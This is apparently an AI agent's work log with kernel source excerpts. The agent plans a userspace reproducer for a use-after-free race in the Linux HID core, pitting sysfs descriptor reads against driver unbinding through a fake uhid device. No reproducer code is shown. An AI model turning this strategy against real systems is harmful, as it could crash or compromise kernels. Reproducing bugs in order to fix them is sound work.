2265: memcpy(buf, hdev->rdesc + off, count);
2266:
2267: return count;
2268: }
SourceFile:drivers/hid/hid-core.c]
|
| 159/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 33258
output: 43
thoughts: 1761
Thoughts: **Refining the Race Condition Reproducer**
Okay, so I've been digging into this potential race condition, and here's the breakdown of my current thought process. The vulnerability stems from a race between a read operation on a HID report descriptor and a driver unbinding event. Specifically, thread 1 calls `pread` on the report descriptor, which eventually lands in `report_descriptor_read`. It then reads the report size. Meanwhile, thread 2 unbinds the driver, triggering a sequence (`hid_device_remove` -> `hid_close_report` -> `kfree(hdev->rdesc); hdev->rsize = 0;`) that frees the memory containing the report descriptor. If thread 1 gets scheduled back in after the `kfree` but before the buffer is overwritten, the subsequent `memcpy` in `report_descriptor_read` attempts to read freed memory, which is a classic use-after-free scenario.
To make this race more probable, I'm thinking of focusing on a large read size or perhaps repeated reads. `pread` with an offset of 0 is optimal since it starts at the beginning, maximizing the chance of this condition.
Now, let's look at the `hid-apple` driver. I need to ensure it's loaded before starting the race. I know it's usually built-in or loaded automatically, but I need to make sure. Initially, I was going to try opening and failing to load `/sys/bus/hid/drivers/apple/bind`. Then I thought of `modprobe hid-apple`, but that seems clunky. The better solution is to rely on the `uhid` creation and udev to load it.
I'll start by creating a `uhid` device, hoping this triggers the udev rules to load the `hid-apple` driver. To increase the likelihood, I need to add a small delay after creating the `uhid` device to allow udev time to do its work: load the module and bind the driver. Next, I'll need a loop to find the device name after `uhid` creation, by observing the appearance of device information. Finally, after the device is created, I need to wait for the `report_descriptor` file to appear. Then, I can open the `bind`/`unbind` files.
I'm ready to refine the reproducer, and that looks like this:
```c
// [The code you provided]
```
A crucial detail emerged. The `ev.u.create2.rd_data` field within the `uhid_event` struct *must* contain valid data. If I set `rd_size` to 85, but leave `rd_data` as all zeros, `hid_parse` might fail. That's a critical point to check during testing to ensure the scenario is valid. I'll have to delve deeper into the internals of `hid_parse_report` to ensure this is handled correctly.
|
| 160/5 |
2026/05/19 10:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_parse_report]
Results: map[SourceCode: 995: /**
996: * hid_parse_report - parse device report
997: *
998: * @hid: hid device
999: * @start: report start
1000: * @size: report size
1001: *
1002: * Allocate the device report as read by the bus driver. This function should
1003: * only be called from parse() in ll drivers.
1004: */
1005: int hid_parse_report(struct hid_device *hid, const __u8 *start, unsigned size)
1006: {
1007: hid->dev_rdesc = kmemdup(start, size, GFP_KERNEL);
1008: if (!hid->dev_rdesc)
1009: return -ENOMEM;
1010: hid->dev_rsize = size;
1011: return 0;
1012: }
SourceFile:drivers/hid/hid-core.c]
|
| 161/5 |
2026/05/19 10:16 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 35995
output: 43
thoughts: 30
Thoughts: Okay, let me think this through...
**Analyzing the HID Report Parser Functions**
Alright, hold on a second. I was just looking at `hid_parse_report`, and it seems like it's just doing a straight-up copy. It's not actually *parsing* anything, is it? It's just moving data. I need to be sure I'm following the flow correctly here.
Now, what about `hid_parse_collections`? Hmm, that's where things get interesting. That *does* sound like the function that is actually doing the heavy lifting, actually digging into the descriptor and interpreting the structure. That's the key to understanding the HID report format, right? I need to focus my attention there. Gotta dive deeper into that specific function to understand how it dissects the descriptor.
|
| 162/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_parse_collections]
Results: map[SourceCode:1248: static int hid_parse_collections(struct hid_device *device)
1249: {
1250: struct hid_item item;
1251: const u8 *start = device->rdesc;
1252: const u8 *end = start + device->rsize;
1253: const u8 *next;
1254: int ret;
1255: static typeof(hid_parser_main) (* const dispatch_type[]) = {
1256: hid_parser_main,
1257: hid_parser_global,
1258: hid_parser_local,
1259: hid_parser_reserved
1260: };
1261:
1262: struct hid_parser *parser __free(kvfree) = vzalloc(sizeof(*parser));
1263: if (!parser)
1264: return -ENOMEM;
1265:
1266: parser->device = device;
1267:
1268: device->collection = kzalloc_objs(*device->collection,
1269: HID_DEFAULT_NUM_COLLECTIONS);
1270: if (!device->collection)
1271: return -ENOMEM;
1272:
1273: device->collection_size = HID_DEFAULT_NUM_COLLECTIONS;
1274: for (unsigned int i = 0; i < HID_DEFAULT_NUM_COLLECTIONS; i++)
1275: device->collection[i].parent_idx = -1;
1276:
1277: ret = -EINVAL;
1278: if (start == end) {
1279: hid_err(device, "rejecting 0-sized report descriptor\n");
1280: goto out;
1281: }
1282:
1283: while ((next = fetch_item(start, end, &item)) != NULL) {
1284: start = next;
1285:
1286: if (item.format != HID_ITEM_FORMAT_SHORT) {
1287: hid_err(device, "unexpected long global item\n");
1288: goto out;
1289: }
1290:
1291: if (dispatch_type[item.type](parser, &item)) {
1292: hid_err(device, "item %u %u %u %u parsing failed\n",
1293: item.format,
1294: (unsigned int)item.size,
1295: (unsigned int)item.type,
1296: (unsigned int)item.tag);
1297: goto out;
1298: }
1299: }
1300:
1301: if (start != end) {
1302: hid_err(device, "item fetching failed at offset %u/%u\n",
1303: device->rsize - (unsigned int)(end - start),
1304: device->rsize);
1305: goto out;
1306: }
1307:
1308: if (parser->collection_stack_ptr) {
1309: hid_err(device, "unbalanced collection at end of report description\n");
1310: goto out;
1311: }
1312:
1313: if (parser->local.delimiter_depth) {
1314: hid_err(device, "unbalanced delimiter at end of report description\n");
1315: goto out;
1316: }
1317:
1318: /*
1319: * fetch initial values in case the device's
1320: * default multiplier isn't the recommended 1
1321: */
1322: hid_setup_resolution_multiplier(device);
1323:
1324: device->status |= HID_STAT_PARSED;
1325: ret = 0;
1326:
1327: out:
1328: kfree(parser->collection_stack);
1329: return ret;
1330: }
SourceFile:drivers/hid/hid-core.c]
|
| 163/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 37413
output: 41
thoughts: 76
Thoughts: **Analyzing Potential Failure Points**
Okay, so I'm looking at this process and immediately the potential failure points jump out at me. First, if the starting point and ending point are the same, that's a straight-up fail. Makes sense, no work to be done.
Then, there are the dependencies: if `fetch_item` bombs out, the whole thing goes with it. Same for `dispatch_type`. It seems the success of the execution is contingent on both of these functions. So, these are key areas to examine more closely.
Now, an interesting edge case I'm considering is the scenario where `rd_data` is all zeros. That translates to `0x00` being read by `fetch_item`. I need to anticipate what `fetch_item` might do with that input. Does it handle it gracefully? Does it return a specific error code? Or will this cause an unexpected problem later in the flow? I need to know. Let's see how `fetch_item` behaves when presented with zero input. This is important to verify before proceeding.
|
| 164/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:fetch_item]
Results: map[SourceCode: 781: static const u8 *fetch_item(const __u8 *start, const __u8 *end, struct hid_item *item)
782: {
783: u8 b;
784:
785: if ((end - start) <= 0)
786: return NULL;
787:
788: b = *start++;
789:
790: item->type = (b >> 2) & 3;
791: item->tag = (b >> 4) & 15;
792:
793: if (item->tag == HID_ITEM_TAG_LONG) {
794:
795: item->format = HID_ITEM_FORMAT_LONG;
796:
797: if ((end - start) < 2)
798: return NULL;
799:
800: item->size = *start++;
801: item->tag = *start++;
802:
803: if ((end - start) < item->size)
804: return NULL;
805:
806: item->data.longdata = start;
807: start += item->size;
808: return start;
809: }
810:
811: item->format = HID_ITEM_FORMAT_SHORT;
812: item->size = BIT(b & 3) >> 1; /* 0, 1, 2, 3 -> 0, 1, 2, 4 */
813:
814: if (end - start < item->size)
815: return NULL;
816:
817: switch (item->size) {
818: case 0:
819: break;
820:
821: case 1:
822: item->data.u8 = *start;
823: break;
824:
825: case 2:
826: item->data.u16 = get_unaligned_le16(start);
827: break;
828:
829: case 4:
830: item->data.u32 = get_unaligned_le32(start);
831: break;
832: }
833:
834: return start + item->size;
835: }
SourceFile:drivers/hid/hid-core.c]
|
| 165/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 38501
output: 43
thoughts: 67
Thoughts: Okay, let's break this down.
**Initial Conditions and Function Identification**
So, the first thing I'm seeing is a conditional statement: `b == 0`. When `b` is zero, several initializations are triggered within an `item` structure. Specifically, I set the `item->type` to 0, `item->tag` to 0, `item->format` to `SHORT`, and `item->size` to 0. It's a fundamental setup – a reset, essentially.
The key observation is that `item->type == 0` is associated with `hid_parser_main`. That's important. It suggests that this specific condition directly feeds into the main HID parser function. My interest is immediately piqued; I need to understand how these initializations relate to and affect the operation of `hid_parser_main`. I need to inspect `hid_parser_main`.
|
| 166/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_parser_main]
Results: map[SourceCode: 641: static int hid_parser_main(struct hid_parser *parser, struct hid_item *item)
642: {
643: __u32 data;
644: int ret;
645:
646: hid_concatenate_last_usage_page(parser);
647:
648: data = item_udata(item);
649:
650: switch (item->tag) {
651: case HID_MAIN_ITEM_TAG_BEGIN_COLLECTION:
652: ret = open_collection(parser, data & 0xff);
653: break;
654: case HID_MAIN_ITEM_TAG_END_COLLECTION:
655: ret = close_collection(parser);
656: break;
657: case HID_MAIN_ITEM_TAG_INPUT:
658: ret = hid_add_field(parser, HID_INPUT_REPORT, data);
659: break;
660: case HID_MAIN_ITEM_TAG_OUTPUT:
661: ret = hid_add_field(parser, HID_OUTPUT_REPORT, data);
662: break;
663: case HID_MAIN_ITEM_TAG_FEATURE:
664: ret = hid_add_field(parser, HID_FEATURE_REPORT, data);
665: break;
666: default:
667: if (item->tag >= HID_MAIN_ITEM_TAG_RESERVED_MIN &&
668: item->tag <= HID_MAIN_ITEM_TAG_RESERVED_MAX)
669: hid_warn_ratelimited(parser->device, "reserved main item tag 0x%x\n", item->tag);
670: else
671: hid_warn_ratelimited(parser->device, "unknown main item tag 0x%x\n", item->tag);
672: ret = 0;
673: }
674:
675: memset(&parser->local, 0, sizeof(parser->local)); /* Reset the local parser environment */
676:
677: return ret;
678: }
SourceFile:drivers/hid/hid-core.c]
|
| 167/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 39444
output: 43
thoughts: 416
Thoughts: **Analyzing HID Descriptor Parsing for a Zeroed Descriptor**
Okay, so I'm thinking through this HID descriptor parsing. My initial thought was that if `item->tag` is 0, it's the reserved minimum (`HID_MAIN_ITEM_TAG_RESERVED_MIN`), but wait a second, let me refresh my memory. `HID_MAIN_ITEM_TAG_BEGIN_COLLECTION` is actually 0x0A, `HID_MAIN_ITEM_TAG_END_COLLECTION` is 0x0C, `HID_MAIN_ITEM_TAG_INPUT` is 0x08, `HID_MAIN_ITEM_TAG_OUTPUT` is 0x09, and `HID_MAIN_ITEM_TAG_FEATURE` is 0x0B. So, `tag == 0` is the default – it'll return 0, right? Meaning a descriptor consisting entirely of zeros should parse without any issues!
But hold on, I need to make sure I'm not missing something. Let's check `hid_parse_collections`. The code checks for unbalanced collections and delimiters at the end. It's looking for `parser->collection_stack_ptr` and `parser->local.delimiter_depth`. Since we haven't actually opened any collections in this scenario, `collection_stack_ptr` is 0. So, yeah, it should succeed, no unbalanced collections!
But wait a minute, I need to think about what happens *after* parsing. What about `hid_hw_start`? Could that fail if the descriptor has no collections or inputs? Let me quickly check the `apple_probe` function as it's a good example of this process. It calls `hid_hw_start` like this:
```c
ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT);
if (ret) {
hid_err(hdev, "hw start failed\n");
return ret;
}
```
Okay, `hid_hw_start` calls `hdev->ll_driver->start(hdev)`. And for `uhid`, `ll_driver` is `uhid_hid_driver`. I need to remember to check that side of things. But at this point I'm pretty confident that a descriptor of all zeros *should* parse successfully, but that doesn't mean the device will work.
|
| 168/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/uhid.c IncludeLines:true Name:uhid_hid_start]
Results: map[SourceCode: 126: static int uhid_hid_start(struct hid_device *hid)
127: {
128: struct uhid_device *uhid = hid->driver_data;
129: struct uhid_event *ev;
130: unsigned long flags;
131:
132: ev = kzalloc_obj(*ev);
133: if (!ev)
134: return -ENOMEM;
135:
136: ev->type = UHID_START;
137:
138: if (hid->report_enum[HID_FEATURE_REPORT].numbered)
139: ev->u.start.dev_flags |= UHID_DEV_NUMBERED_FEATURE_REPORTS;
140: if (hid->report_enum[HID_OUTPUT_REPORT].numbered)
141: ev->u.start.dev_flags |= UHID_DEV_NUMBERED_OUTPUT_REPORTS;
142: if (hid->report_enum[HID_INPUT_REPORT].numbered)
143: ev->u.start.dev_flags |= UHID_DEV_NUMBERED_INPUT_REPORTS;
144:
145: spin_lock_irqsave(&uhid->qlock, flags);
146: uhid_queue(uhid, ev);
147: spin_unlock_irqrestore(&uhid->qlock, flags);
148:
149: return 0;
150: }
SourceFile:drivers/hid/uhid.c]
|
| 169/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 40867
output: 46
thoughts: 1429
Thoughts: **Analyzing a Potential Use-After-Free in HID Report Descriptor Handling**
Okay, so the initial probe flow for this HID device looks straightforward. `hid_hw_start` just queues an event and returns, so that's good. Then `apple_probe` runs. With the `USB_DEVICE_ID_APPLE_MIGHTYMOUSE` (0x0304) ID, none of the conditional checks within `apple_probe` are triggered, because the `quirks` variable isn't set for any of those features. It just returns 0, and the probe succeeds. No immediate issues there.
But, `apple_report_fixup`... that's where things get interesting. Specifically, that check for the JIS keyboard report descriptor is the first place I'll look. If `*rsize` is 85, I will potentially access `rdesc[53]` and `rdesc[59]`. However, if `rdesc` is all zeros, this will just read zeros, and the fixup won't run.
I need to confirm if that's possible. The report descriptor is allocated via `kmemdup` from `start`, which is, in turn, a copy of `device->dev_rdesc`. So, it's just a copy of what came from the `uhid` device. And since that comes from `hid_parse_report`, it's all fine. The copied `rdesc` is all zeros, so no problem.
Now, let's circle back to the core issue: the race condition. I've got two threads running, one reading from the report descriptor and one unbinding the device. The read thread uses `pread` in a tight loop. My concern is that there's a blocking `pread` call. Let's look at what `report_descriptor_read` does. It checks `hdev->rsize` and `memcpy`'s, but it's not a blocking call. It returns immediately with a `count`.
So, the read loop is very tight. This means the critical section is between checking `hdev->rsize` and `memcpy`. If `hid_close_report` is called between these two steps, `hdev->rdesc` could be freed. But `hid_close_report` *should* set `device->rsize` to 0 and `device->rdesc` to `NULL`.
A direct `memcpy` using a `NULL` `hdev->rdesc` would cause a NULL pointer dereference, which is different than a KASAN use-after-free error, however! So let's look closer at the assembly or C code.
If `hdev->rdesc` is loaded from memory *after* it's set to `NULL`, it will be a NULL pointer dereference.
However, if the compiler optimizes the code and loads `hdev->rdesc` and `hdev->rsize` into registers *before* the unbind thread sets them to `NULL` and `0` then pre-empts, and then resumes and uses the register with the stale value, it will be a use-after-free!
That's the likely scenario. The bug report points to the use of a valid slab address, not `NULL`, so this confirms `hdev->rdesc` *was* loaded into a register before it was set to `NULL`.
To make this happen more often, I can try pinning the threads to different CPUs. However, if they're on different CPUs, the read thread might not get preempted, but just be executing concurrently. If it's concurrent, the window between loading `hdev->rdesc` and using it in `memcpy` is tiny. Can I widen this? Probably not easily from userspace, but running it in a tight loop on multiple CPUs *should* trigger it eventually.
The interesting thing is that `report_descriptor_read` is called via `sysfs`. Does `kernfs_fop_read_iter` have locks? Let's check `kernfs_fop_read_iter` in `fs/kernfs/file.c` to see.
|
| 170/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/kernfs/file.c IncludeLines:true Name:kernfs_fop_read_iter]
Results: map[SourceCode: 294: static ssize_t kernfs_fop_read_iter(struct kiocb *iocb, struct iov_iter *iter)
295: {
296: if (kernfs_of(iocb->ki_filp)->kn->flags & KERNFS_HAS_SEQ_SHOW)
297: return seq_read_iter(iocb, iter);
298: return kernfs_file_read_iter(iocb, iter);
299: }
SourceFile:fs/kernfs/file.c]
|
| 171/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43399
output: 45
thoughts: 11
Thoughts: Okay, here's my summary, taking on the persona you requested:
**Navigating the `kernfs_file_read_iter` Function**
Alright, let's break down this `kernfs_file_read_iter` function. My expert eye immediately sees this as the core of reading data from a `kernfs` file, likely handling all the underlying complexities of interacting with the kernel's file system interface. The name screams "iteration," so my first thought is, this likely doesn't just read everything in one shot. It's designed to handle potentially large files in chunks, which is essential for efficiency, especially in a resource-constrained kernel environment.
I'm instantly looking for the interaction with the VFS layer. Where is the actual file data handled? Is it using `iov_iter` directly? That would be a good bet for efficiency, avoiding unnecessary data copies. I need to understand how it deals with the file's offset and the user-provided buffer. Is there any locking involved to ensure data integrity during concurrent reads? Race conditions are the bane of my existence, and I'm itching to see how they're managed.
What about error handling? I expect comprehensive checks – for invalid arguments, read errors, buffer overflows, and potentially file corruption. I'm especially keen to see how it signals errors back to the calling process, likely with return codes.
More broadly, I'm thinking about the implications for performance. Is this optimized for common read patterns? Does it employ any caching or prefetching techniques? How does the underlying storage medium affect the efficiency of this? I anticipate that it handles permissions and access control. It needs to prevent unauthorized access to sensitive files.
Essentially, I'm looking at this function as the bridge between user-space read requests and the kernel's representation of the file data. My primary concern would be robust data integrity, followed by efficient processing.
|
| 172/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/kernfs/file.c IncludeLines:true Name:kernfs_file_read_iter]
Results: map[SourceCode: 233: /*
234: * As reading a bin file can have side-effects, the exact offset and bytes
235: * specified in read(2) call should be passed to the read callback making
236: * it difficult to use seq_file. Implement simplistic custom buffering for
237: * bin files.
238: */
239: static ssize_t kernfs_file_read_iter(struct kiocb *iocb, struct iov_iter *iter)
240: {
241: struct kernfs_open_file *of = kernfs_of(iocb->ki_filp);
242: ssize_t len = min_t(size_t, iov_iter_count(iter), PAGE_SIZE);
243: const struct kernfs_ops *ops;
244: char *buf;
245:
246: buf = of->prealloc_buf;
247: if (buf)
248: mutex_lock(&of->prealloc_mutex);
249: else
250: buf = kmalloc(len, GFP_KERNEL);
251: if (!buf)
252: return -ENOMEM;
253:
254: /*
255: * @of->mutex nests outside active ref and is used both to ensure that
256: * the ops aren't called concurrently for the same open file.
257: */
258: mutex_lock(&of->mutex);
259: if (!kernfs_get_active_of(of)) {
260: len = -ENODEV;
261: mutex_unlock(&of->mutex);
262: goto out_free;
263: }
264:
265: of->event = atomic_read(&of_on(of)->event);
266:
267: ops = kernfs_ops(of->kn);
268: if (ops->read)
269: len = ops->read(of, buf, len, iocb->ki_pos);
270: else
271: len = -EINVAL;
272:
273: kernfs_put_active_of(of);
274: mutex_unlock(&of->mutex);
275:
276: if (len < 0)
277: goto out_free;
278:
279: if (copy_to_iter(buf, len, iter) != len) {
280: len = -EFAULT;
281: goto out_free;
282: }
283:
284: iocb->ki_pos += len;
285:
286: out_free:
287: if (buf == of->prealloc_buf)
288: mutex_unlock(&of->prealloc_mutex);
289: else
290: kfree(buf);
291: return len;
292: }
SourceFile:fs/kernfs/file.c]
|
| 173/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 44740
output: 45
thoughts: 43
Thoughts: Okay, here's my interpretation of this snippet, rendered as a first-person internal monologue, assuming I'm already pretty familiar with kernel file system internals:
**Diving into the Sysfs Bin File Read**
Right, so `kernfs_file_read_iter` – that's the core function for handling read operations within the kernfs framework. It's essentially the dispatcher for file read requests. It's clear that it's calling a specific file operation, likely based on the `kernfs_node`'s associated file operations (`ops`). And yes, there it is: `ops->read`. This means kernfs uses a function pointer table for dynamic dispatch. Given that this is a bin file read, the specified `read` function will be called.
The key part here is that the call chain directs me to `sysfs_kf_bin_read`. So this particular `ops->read` is the `sysfs` implementation for reading binary sysfs files. It makes sense, `sysfs` generally works with data which isn't human-readable, for example it's used to represent device attributes.
So, in reading `sysfs_kf_bin_read`, I'll be looking at how the sysfs implementation takes `of` (file object, which will contain information about the open file), `buf` (the user-space buffer to write the data into), `len` (the requested read length), and `iocb->ki_pos` (the current file position, which needs to be kept in consideration in case multiple read operations are done on the file) and marshals that data from whatever the sysfs node represents. Probably, it'll handle the specifics of how the data is stored in the sysfs hierarchy and format it for the user space, considering the length requested. I'll need to remember to check if the implementation does any access control or error checking at this stage too.
|
| 174/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/sysfs/file.c IncludeLines:true Name:sysfs_kf_bin_read]
Results: map[SourceCode: 83: static ssize_t sysfs_kf_bin_read(struct kernfs_open_file *of, char *buf,
84: size_t count, loff_t pos)
85: {
86: const struct bin_attribute *battr = of->kn->priv;
87: struct kobject *kobj = sysfs_file_kobj(of->kn);
88: loff_t size = file_inode(of->file)->i_size;
89:
90: if (!count)
91: return 0;
92:
93: if (size) {
94: if (pos >= size)
95: return 0;
96: if (pos + count > size)
97: count = size - pos;
98: }
99:
100: if (!battr->read)
101: return -EIO;
102:
103: return battr->read(of->file, kobj, battr, buf, pos, count);
104: }
SourceFile:fs/sysfs/file.c]
|
| 175/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 45567
output: 43
thoughts: 110
Thoughts: **Concurrent HID Device Removal: A Potential Race Condition**
Okay, so I'm looking at this `battr->read` function, which is actually `report_descriptor_read`. And here's the kicker: there are *no* locks held that would prevent `hid_device_remove` from running at the same time! That's concerning. `hid_device_remove` gets called from `device_release_driver_internal`, which *does* take the `device_lock(dev)`. However, and this is the crux of it, `report_descriptor_read` *does not* hold `device_lock(dev)`. This means they can be running completely concurrently – a classic recipe for trouble. Wait, isn't `hid_device_remove` also calling `hid_close_report`? This adds another layer to this concurrency issue, which I need to think through carefully.
|
| 176/5 |
2026/05/19 10:17 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_device_remove]
Results: map[SourceCode:2867: static void hid_device_remove(struct device *dev)
2868: {
2869: struct hid_device *hdev = to_hid_device(dev);
2870: struct hid_driver *hdrv;
2871:
2872: down(&hdev->driver_input_lock);
2873: hdev->io_started = false;
2874:
2875: hdrv = hdev->driver;
2876: if (hdrv) {
2877: if (hdrv->remove)
2878: hdrv->remove(hdev);
2879: else /* default remove */
2880: hid_hw_stop(hdev);
2881:
2882: /* Release all devres resources allocated by the driver */
2883: devres_release_group(&hdev->dev, hdev->devres_group_id);
2884:
2885: hid_close_report(hdev);
2886: hdev->driver = NULL;
2887: }
2888:
2889: if (!hdev->io_started)
2890: up(&hdev->driver_input_lock);
2891: }
SourceFile:drivers/hid/hid-core.c]
|
| 177/5 |
2026/05/19 10:17 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 46292
output: 41
thoughts: 1751
Thoughts: **Refining the Race Condition Reproducer**
Okay, so I've confirmed that the `hid_close_report` function is indeed called and that it's responsible for freeing `hdev->rdesc`. Now, I need to reliably trigger the race condition where a read happens while the descriptor is being freed. I initially thought about using `mmap` to increase the "race window," but since it's a sysfs file, `mmap` isn't supported. Damn.
My next idea was to leverage multiple threads – multiple threads reading concurrently while others bind and unbind the device rapidly. I could also have looked at using `race_toolkit`, to inject delays, but I can't do that in the kernel space.
However, after looking at the `report_descriptor_read` code, I realized the read operation itself is quite short.
```c
if (off >= hdev->rsize)
return 0;
if (off + count > hdev->rsize)
count = hdev->rsize - off;
memcpy(buf, hdev->rdesc + off, count);
```
So, even a small window of opportunity might be enough. If I run this read operation in a loop with multiple read threads, I should eventually hit the race.
So, I will refine the reproducer using multiple read threads.
One more thing though, I need to make sure `hid-apple` is loaded. If it isn't, the `open` calls for `bind` and `unbind` will fail. `uhid` creation usually triggers udev to load the module, if I fail I can exit. Wait, `hid-generic` also binds to devices if no specific driver is found. Does `hid-generic` have a `report_fixup`?
|
| 178/5 |
2026/05/19 10:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-generic.c IncludeLines:true Name:hid_generic]
Results: map[SourceCode: 87: static struct hid_driver hid_generic = {
88: .name = "hid-generic",
89: .id_table = hid_table,
90: .match = hid_generic_match,
91: .probe = hid_generic_probe,
92: .reset_resume = hid_generic_reset_resume,
93: };
SourceFile:drivers/hid/hid-generic.c]
|
| 179/5 |
2026/05/19 10:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 48607
output: 44
thoughts: 85
Thoughts: **Investigating HID Report Handling**
Okay, so I'm looking into this HID report fixup situation. It's clear that the `hid-generic` driver doesn't implement `report_fixup`. That means `hdev->rdesc` isn't going to be dynamically allocated there, and consequently, `hid_close_report` won't be freeing it. That's a key observation. We *absolutely* need to use a driver that *does* have `report_fixup` implemented to handle this correctly and avoid memory leaks or unexpected behavior.
Let's see… I'm thinking `hid-apple` might be a solid choice, given its history with more complex device interactions. But, just to be thorough and not jump to any conclusions, I'll quickly glance at `hid-cherry.c` as well. You never know; sometimes the unexpected comes up. It’s always good to be certain.
|
| 180/5 |
2026/05/19 10:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-cherry.c IncludeLines:true Name:ch_report_fixup]
Results: map[SourceCode: 21: /*
22: * Cherry Cymotion keyboard have an invalid HID report descriptor,
23: * that needs fixing before we can parse it.
24: */
25: static const __u8 *ch_report_fixup(struct hid_device *hdev, __u8 *rdesc,
26: unsigned int *rsize)
27: {
28: if (*rsize >= 18 && rdesc[11] == 0x3c && rdesc[12] == 0x02) {
29: hid_info(hdev, "fixing up Cherry Cymotion report descriptor\n");
30: rdesc[11] = rdesc[16] = 0xff;
31: rdesc[12] = rdesc[17] = 0x03;
32: }
33: return rdesc;
34: }
SourceFile:drivers/hid/hid-cherry.c]
|
| 181/5 |
2026/05/19 10:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 49209
output: 49
thoughts: 19
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience, presented in the first person:
**Assessment of Similarity & Potential Application**
Hmm, this situation feels quite familiar. The core issue, the underlying architecture, it's very reminiscent of problems I've encountered before. The patterns are definitely aligned.
My immediate instinct is to think about the drivers I've worked with previously. Could the `hid-logitech-hidpp` module be applicable here? It's often my go-to for these types of input devices, especially when dealing with proprietary protocols on HID interfaces. I'd need to consider if the specific device characteristics and protocol nuances are a match. Is this a Logitech device? Is it using HID++? If so, this could be a straightforward solution, potentially saving significant development time and effort.
|
| 182/5 |
2026/05/19 10:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-logitech-hidpp.c IncludeLines:true Name:hidpp_report_fixup]
Results: map[SourceCode:3758: static const u8 *hidpp_report_fixup(struct hid_device *hdev, u8 *rdesc,
3759: unsigned int *rsize)
3760: {
3761: struct hidpp_device *hidpp = hid_get_drvdata(hdev);
3762:
3763: if (!hidpp)
3764: return rdesc;
3765:
3766: /* For 27 MHz keyboards the quirk gets set after hid_parse. */
3767: if (hdev->group == HID_GROUP_LOGITECH_27MHZ_DEVICE ||
3768: (hidpp->quirks & HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS))
3769: rdesc = hidpp10_consumer_keys_report_fixup(hidpp, rdesc, rsize);
3770:
3771: return rdesc;
3772: }
SourceFile:drivers/hid/hid-logitech-hidpp.c]
|
| 183/5 |
2026/05/19 10:18 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 49751
output: 46
thoughts: 1473
Thoughts: **Reproducer Strategy for a Potential HID Driver Bug**
Okay, so I'm thinking I'll try to focus on `hid-apple` for this reproducer. It seems like a simpler driver to work with, especially since it doesn't appear to be doing a `hid_is_usb` check in this particular scenario. But wait, there's always the chance that the `hid-apple` module isn't actually compiled into the kernel. It happens.
I know syzkaller often uses a specific kernel config, and `CONFIG_HID_APPLE=y` is pretty common. I'm going to quickly check in the kernel config that `hid-apple` is enabled. I don't have the config file handy right now, but it's usually there.
Now, let's just create the C reproducer and run it.
```c
// [code here]
```
But what if `hid-apple` isn't loaded? Well, maybe I can use `hid-logitech-hidpp` then, but it's probably got a `hidpp_probe`. Does it check `hid_is_usb`?
|
| 184/5 |
2026/05/19 10:18 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-logitech-hidpp.c IncludeLines:true Name:hidpp_probe]
Results: map[SourceCode:4389: static int hidpp_probe(struct hid_device *hdev, const struct hid_device_id *id)
4390: {
4391: struct hidpp_device *hidpp;
4392: int ret;
4393: unsigned int connect_mask = HID_CONNECT_DEFAULT;
4394:
4395: /* report_fixup needs drvdata to be set before we call hid_parse */
4396: hidpp = devm_kzalloc(&hdev->dev, sizeof(*hidpp), GFP_KERNEL);
4397: if (!hidpp)
4398: return -ENOMEM;
4399:
4400: hidpp->hid_dev = hdev;
4401: hidpp->name = hdev->name;
4402: hidpp->quirks = id->driver_data;
4403: hid_set_drvdata(hdev, hidpp);
4404:
4405: ret = hid_parse(hdev);
4406: if (ret) {
4407: hid_err(hdev, "%s:parse failed\n", __func__);
4408: return ret;
4409: }
4410:
4411: /*
4412: * Make sure the device is HID++ capable, otherwise treat as generic HID
4413: */
4414: hidpp->supported_reports = hidpp_validate_device(hdev);
4415:
4416: if (!hidpp->supported_reports) {
4417: hid_set_drvdata(hdev, NULL);
4418: devm_kfree(&hdev->dev, hidpp);
4419: return hid_hw_start(hdev, HID_CONNECT_DEFAULT);
4420: }
4421:
4422: if (id->group == HID_GROUP_LOGITECH_27MHZ_DEVICE &&
4423: hidpp_application_equals(hdev, HID_GD_MOUSE))
4424: hidpp->quirks |= HIDPP_QUIRK_HIDPP_WHEELS |
4425: HIDPP_QUIRK_HIDPP_EXTRA_MOUSE_BTNS;
4426:
4427: if (id->group == HID_GROUP_LOGITECH_27MHZ_DEVICE &&
